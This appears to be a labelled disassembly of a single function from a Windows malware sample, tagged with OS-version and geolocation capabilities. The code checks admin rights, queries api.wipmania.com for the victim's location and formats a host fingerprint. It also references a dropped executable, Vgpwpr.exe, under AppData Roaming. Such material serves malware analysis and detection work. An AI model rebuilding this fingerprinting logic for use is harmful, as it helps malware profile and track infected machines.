Function at 0xe36540
Capabilities:
Check os version
Get geographical location

Disassembly:
sub esp, 0x4a8
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0xb5]
mov byte [esp + 0xb4], 0
xor ebx, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.isadmin
push 0xe42424
stosb byte es:[edi], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x1c], ebx
call fcn.00e34fc0
mov esi, dword [esp + 0x4c0]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [esp + 0x18], eax
add esp, 8
cmp dword [esi + 0x10], ebx
jne 0xe36667
mov eax, dword [0xe43a74]
push 0x104
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [esp + 0x18]
mov dword [esi + 0x10], eax
push ecx
mov dword [esp + 0x1c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0xe3665c
mov eax, dword [esp + 0x1c]
cmp eax, 5
jne 0xe36603
mov eax, dword [esp + 0x20]
cmp eax, ebx
jne 0xe365e7
mov edx, dword [esi + 0x10]
push 0xe42420
push edx
jmp 0xe36665
cmp eax, 1
jne 0xe365f7
mov eax, dword [esi + 0x10]
push 0xe4241c
push eax
jmp 0xe36665
cmp eax, 2
jne 0xe36651
push 0xe42418
jmp 0xe36661
cmp eax, 6
jne 0xe36651
mov eax, dword [esp + 0x20]
cmp eax, ebx
jne 0xe36630
cmp byte [esp + 0xb2], 1
jne 0xe36625
mov edx, dword [esi + 0x10]
push 0xe42414
push edx
jmp 0xe36665
mov eax, dword [esi + 0x10]
push 0xe42410
push eax
jmp 0xe36665
cmp eax, 1
jne 0xe36651
cmp byte [esp + 0xb2], 1
jne 0xe36646
push 0xe4240c
jmp 0xe36661
mov edx, dword [esi + 0x10]
push 0xe42410
push edx
jmp 0xe36665
mov eax, dword [esi + 0x10]
push 0xe42408
push eax
jmp 0xe36665
push 0xe42408
mov ecx, dword [esi + 0x10]
push ecx
call edi
mov eax, dword [esi + 0xc]
push ebp
cmp eax, ebx
jne 0xe36796
mov edx, dword [0xe43a74]
push 0x104
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0xc], eax
lea eax, [esp + 0x18]
push 0xe43374
lea ecx, [esp + 0x14]
push eax
push ecx
push str.http:__api.wipmania.com_
call fcn.00e35760
add esp, 0x10
test eax, eax
je 0xe3675f
mov edx, dword [esp + 0x10]
push str._br_
push edx
call sub.ntdll.dll_strstr
mov ebp, eax
add esp, 8
cmp ebp, ebx
je 0xe36729
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
call ebx
cmp eax, 7
je 0xe366df
add ebp, 4
push ebp
call ebx
cmp eax, 2
je 0xe36719
lea eax, [esp + 0xb8]
push 0x400
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0xe3670b
mov ecx, dword [esi + 0xc]
push 0xe42408
push ecx
jmp 0xe36794
mov eax, dword [esi + 0xc]
lea edx, [esp + 0xb8]
push edx
push eax
jmp 0xe36794
push 0xe423fc
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0xe3675c
lea ecx, [esp + 0xb8]
push 0x400
push ecx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0xe3674e
push 0xe42408
jmp 0xe36790
mov ecx, dword [esi + 0xc]
lea eax, [esp + 0xb8]
push eax
push ecx
jmp 0xe36794
push ebp
jmp 0xe36790
lea edx, [esp + 0xb8]
push 0x400
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0xe36788
mov eax, dword [esi + 0xc]
push 0xe42408
push eax
jmp 0xe36794
lea ecx, [esp + 0xb8]
push ecx
mov edx, dword [esi + 0xc]
push edx
call edi
lea eax, [esp + 0xb8]
push 7
push eax
call fcn.00e34730
mov eax, dword [esi]
add esp, 8
test eax, eax
pop ebp
push 0x104
jne 0xe368a5
mov ecx, dword [0xe43a74]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 8
push ecx
call ebx
mov dword [esi], eax
mov edx, dword [0xe43a74]
push 0x104
push 8
push edx
call ebx
mov dword [esi + 8], eax
mov eax, dword [0xe43a74]
push 0x104
push 8
push eax
call ebx
mov dword [esi + 4], eax
mov ecx, dword [0xe43a74]
push 0x104
push 8
push ecx
call ebx
lea edx, [esp + 0xb4]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 8]
push edx
push 0x104
push eax
call sub.ntdll.dll__snprintf
mov edx, dword [esi + 4]
lea ecx, [esp + 0xc0]
push ecx
push 0x104
push edx
call sub.ntdll.dll__snprintf
mov eax, dword [esp + 0x28]
add esp, 0x18
test eax, eax
je 0xe36845
mov eax, dword [esi + 0x14]
push 0xe423f8
push eax
jmp 0xe3684e
mov ecx, dword [esi + 0x14]
push 0xe423f4
push ecx
call edi
push str.C:UsersAdminAppDataRoamingVgpwpr.exe
call fcn.00e34ce0
add esp, 4
test eax, eax
je 0xe3687f
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [esp + 0xb4]
push edx
mov edx, dword [esi + 0xc]
push eax
push ecx
push edx
push str.n_s_s_s_s
jmp 0xe36977
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea ecx, [esp + 0xb4]
push ecx
mov ecx, dword [esi + 0xc]
push edx
mov edx, dword [esi]
push eax
push ecx
push str._s_s_s_s
push 0x104
push edx
jmp 0xe3697f
push 0
push eax
call fcn.00e3b7fb
mov eax, dword [esi + 8]
push 0x104
push 0
push eax
call fcn.00e3b7fb
mov ecx, dword [esi + 4]
push 0x104
push 0
push ecx
call fcn.00e3b7fb
mov edx, dword [esi + 0x14]
push 0x104
push 0
push edx
call fcn.00e3b7fb
mov ecx, dword [esi + 8]
lea eax, [esp + 0xe4]
push eax
push 0x104
push ecx
call sub.ntdll.dll__snprintf
mov eax, dword [esi + 4]
lea edx, [esp + 0xf0]
push edx
push 0x104
push eax
call sub.ntdll.dll__snprintf
mov eax, dword [esp + 0x58]
add esp, 0x48
test eax, eax
je 0xe3691f
mov ecx, dword [esi + 0x14]
push 0xe423f8
push ecx
jmp 0xe36928
mov edx, dword [esi + 0x14]
push 0xe423f4
push edx
call edi
push str.C:UsersAdminAppDataRoamingVgpwpr.exe
call fcn.00e34ce0
add esp, 4
test eax, eax
je 0xe3695e
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x10]
lea eax, [esp + 0xb4]
push eax
mov eax, dword [esi + 0xc]
push ecx
mov ecx, dword [esi]
push edx
push eax
push str.n_s_s_s_s
push 0x104
push ecx
jmp 0xe3697f
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [esp + 0xb4]
push edx
mov edx, dword [esi + 0xc]
push eax
push ecx
push edx
push str._s_s_s_s
mov eax, dword [esi]
push 0x104
push eax
call sub.ntdll.dll__snprintf
mov eax, dword [esp + 0x28]
add esp, 0x1c
test eax, eax
pop edi
pop esi
pop ebx
je 0xe3699b
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
add esp, 0x4a8
ret